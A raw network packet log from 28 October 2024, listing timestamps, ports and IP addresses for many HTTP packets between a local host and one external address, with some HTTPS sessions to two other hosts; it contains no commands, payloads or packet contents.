Oct 28, 2024 02:07:48.496963978 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.496973038 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496983051 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496994972 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496994972 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.497005939 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.497015953 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.497026920 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.497030973 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.497039080 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.497051001 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.497051954 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.497064114 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.497067928 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.497075081 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.497085094 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.497083902 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.497096062 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.497128010 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.497133970 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.497138977 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.497144938 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.497153997 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.497169018 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.497183084 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.497195959 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.497201920 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.497208118 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.497231960 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.497246981 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.497277021 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.497287035 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.497296095 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.497306108 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.497314930 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.497322083 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.497353077 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.599404097 CET	443	50000	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.599926949 CET	50000	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:48.599991083 CET	443	50000	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.600564003 CET	50000	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:48.600579977 CET	443	50000	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.611094952 CET	443	49999	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:48.611129045 CET	443	49999	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:48.611139059 CET	443	49999	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:48.611186028 CET	49999	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:48.611206055 CET	443	49999	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:48.611222029 CET	443	49999	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:48.611277103 CET	49999	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:48.611641884 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.611680984 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.611691952 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.611696959 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.611713886 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.611735106 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.611778021 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.611790895 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.611803055 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.611841917 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.611850023 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.611855030 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.611876965 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.611882925 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.611890078 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.611901045 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.611910105 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.611913919 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.611928940 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.611948967 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.611953020 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.611960888 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.611985922 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.611990929 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.611994028 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612010956 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.612034082 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.612041950 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612059116 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612071037 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612077951 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.612109900 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.612250090 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612272024 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612294912 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.612323046 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.612344027 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612355947 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612369061 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612380028 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612391949 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612394094 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.612405062 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612421989 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612432003 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.612436056 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612440109 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.612442970 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612456083 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612474918 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.612474918 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612488985 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612499952 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612505913 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.612513065 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612513065 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.612526894 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612545013 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.612571001 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.612577915 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612596035 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612602949 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.612608910 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612617970 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.612627983 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612638950 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.612643003 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612658024 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612664938 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.612664938 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.612695932 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.612700939 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612704039 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.612714052 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612725973 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612736940 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612756968 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.612756968 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.612766027 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612777948 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612785101 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.612797976 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612804890 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.612814903 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612829924 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612829924 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.612848043 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.612871885 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.612881899 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612893105 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612915039 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612926006 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612936974 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.612940073 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.612956047 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.612986088 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.612987995 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613006115 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613023043 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613028049 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.613054991 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.613063097 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613070965 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.613075018 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613085032 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613097906 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613102913 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.613111973 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613111973 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.613127947 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613133907 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613141060 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.613169909 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.613197088 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613214016 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613219976 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613224983 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613251925 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613256931 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.613277912 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.613290071 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613302946 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613306999 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.613325119 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.613329887 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613341093 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613356113 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613358974 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.613363028 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613379955 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.613401890 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613404989 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.613411903 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.613415003 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613428116 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613446951 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613456964 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.613457918 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613464117 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.613501072 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.613528967 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613540888 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613550901 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613580942 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613590956 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.613600016 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613606930 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.613615990 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613630056 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613645077 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.613663912 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.613670111 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613682032 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613687038 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.613693953 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613734007 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.613734007 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.613737106 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613755941 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613774061 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.613790035 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613794088 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.613811970 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613828897 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.613831997 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613843918 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613856077 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.613859892 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613868952 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.613872051 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613886118 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613899946 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.613899946 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.613913059 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.613915920 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613928080 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613940954 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613940954 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.613961935 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.613969088 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.613969088 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.613990068 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.614001036 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.614038944 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.614051104 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.614068985 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.614080906 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.614089012 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.614093065 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.614104033 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.614116907 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.614136934 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.614202023 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.614214897 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.614242077 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.614274025 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.616841078 CET	49999	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:48.616857052 CET	443	49999	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:48.625163078 CET	50005	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:48.625241041 CET	443	50005	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:48.625423908 CET	50005	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:48.625678062 CET	50005	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:48.625710964 CET	443	50005	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:48.640146017 CET	443	50003	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.640856028 CET	50003	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:48.640872955 CET	443	50003	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.641588926 CET	50003	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:48.641594887 CET	443	50003	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.641782045 CET	443	50002	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.642394066 CET	50002	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:48.642417908 CET	443	50002	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.643111944 CET	50002	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:48.643124104 CET	443	50002	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.651681900 CET	443	50004	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.652075052 CET	50004	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:48.652098894 CET	443	50004	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.652704000 CET	50004	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:48.652709007 CET	443	50004	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.665184021 CET	443	50001	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.665731907 CET	50001	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:48.665743113 CET	443	50001	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.666383028 CET	50001	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:48.666387081 CET	443	50001	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.671956062 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.677177906 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.739795923 CET	443	50000	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.739850044 CET	443	50000	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.739931107 CET	50000	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:48.740228891 CET	50000	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:48.740246058 CET	443	50000	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.743227959 CET	50006	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:48.743256092 CET	443	50006	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.743494987 CET	50006	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:48.743648052 CET	50006	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:48.743663073 CET	443	50006	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.769879103 CET	443	50003	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.769912958 CET	443	50003	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.769968987 CET	443	50003	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.770021915 CET	50003	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:48.770169973 CET	50003	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:48.770169973 CET	50003	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:48.770179987 CET	443	50003	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.770186901 CET	443	50003	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.770564079 CET	443	50002	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.770700932 CET	443	50002	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.770768881 CET	50002	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:48.770802975 CET	443	50002	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.770843983 CET	443	50002	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.771083117 CET	50002	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:48.771222115 CET	50002	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:48.771236897 CET	443	50002	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.771248102 CET	50002	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:48.771253109 CET	443	50002	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.774810076 CET	50007	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:48.774836063 CET	443	50007	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.774888992 CET	50008	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:48.774924040 CET	443	50008	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.774954081 CET	50007	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:48.774981022 CET	50008	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:48.775134087 CET	50008	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:48.775147915 CET	443	50008	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.775161028 CET	50007	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:48.775172949 CET	443	50007	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.781963110 CET	443	50004	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.782082081 CET	443	50004	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.782138109 CET	50004	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:48.782315016 CET	50004	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:48.782332897 CET	443	50004	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.782351971 CET	50004	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:48.782357931 CET	443	50004	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.784647942 CET	50009	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:48.784667969 CET	443	50009	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.784729958 CET	50009	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:48.784847975 CET	50009	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:48.784858942 CET	443	50009	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.809748888 CET	443	50001	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.809909105 CET	443	50001	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.810024023 CET	50001	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:48.810101986 CET	50001	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:48.810120106 CET	443	50001	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.810137987 CET	50001	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:48.810142040 CET	443	50001	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.812566042 CET	50010	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:48.812580109 CET	443	50010	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.812648058 CET	50010	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:48.812771082 CET	50010	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:48.812788010 CET	443	50010	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:48.960987091 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961002111 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961013079 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.961033106 CET	80	49967	185.215.113.206	192.168.2.6
